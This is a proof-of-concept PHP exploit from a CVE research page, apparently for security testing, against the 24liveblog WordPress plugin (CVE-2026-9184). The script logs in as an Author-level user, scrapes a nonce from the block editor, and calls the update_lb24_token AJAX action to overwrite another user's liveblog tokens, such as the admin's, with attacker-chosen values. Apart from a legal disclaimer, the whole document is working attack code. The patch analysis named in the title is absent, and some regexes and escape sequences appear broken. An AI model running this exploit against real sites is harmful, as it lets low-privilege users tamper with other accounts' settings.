CVE-2026-9184: 24liveblog <= 2.2 Missing Authorization to Authenticated (Author+) Settings Modification via update_lb24_token AJAX action PoC, Patch Analysis & Rule

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9184 - 24liveblog <= 2.2 - Missing Authorization to Authenticated (Author+) Settings Modification via update_lb24_token AJAX action

// IMPORTANT: This PoC requires an authenticated session cookie from an Author-level account or higher.
// The attacker must first obtain a valid lb24 nonce by loading a page that includes the block editor
// (e.g., editing a post). The nonce is typically exposed in a JavaScript variable or hidden field.

// Configuration
$target_url = 'https://example.com'; // Change this to the target WordPress site URL
$username = 'attacker';              // Change this to an Author-level or higher account
$password = 'password';              // Change this to the account password
$target_user_id = 1;                 // Target user ID (e.g., admin) to overwrite tokens for

// Step 1: Login to WordPress to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);
curl_close($ch);

// Step 2: Load the block editor to obtain the lb24 nonce
$editor_url = $target_url . '/wp-admin/post-new.php?post_type=post';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $editor_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$editor_response = curl_exec($ch);
curl_close($ch);

// Extract the lb24 nonce from the JavaScript window.lb24 object
// The nonce is typically in a script tag like: window.lb24 = {...}; or similar
$nonce = '';
if (preg_match('/vars+lb24s*=s*{[^}]*nonce[:s]*"([^"]+)"/i', $editor_response, $matches)) {
    $nonce = $matches[1];
} elseif (preg_match('/"lb24_nonce"s*:s*"([^"]+)"/i', $editor_response, $matches)) {
    $nonce = $matches[1];
} elseif (preg_match('/lb24.*nonce[^:]*:[^"'"']*["'"]?([a-f0-9]+)["'"]?/i', $editor_response, $matches)) {
    $nonce = $matches[1];
}

if (empty($nonce)) {
    die("[-] Could not extract lb24 nonce. The attacker must manually obtain it from the page source.n");
}

echo "[+] Extracted lb24 nonce: $noncen";

// Step 3: Exploit the vulnerability to overwrite user meta of the target user
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = [
    'action' => 'update_lb24_token',
    'lb24' => $nonce,
    'user_id' => $target_user_id,
    'lb24_token' => 'attacker_controlled_token_' . time(),
    'lb24_uid' => 'attacker_uid_' . time(),
    'lb24_refresh_token' => 'attacker_refresh_' . time(),
    'lb24_uname' => 'attacker_username'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$exploit_response = curl_exec($ch);
curl_close($ch);

echo "[+] Exploit response: " . substr($exploit_response, 0, 500) . "n";
echo "[+] Tokens for user ID $target_user_id have been overwritten with attacker-controlled values.n";

// Clean up temporary cookie file
unlink('/tmp/cookies.txt');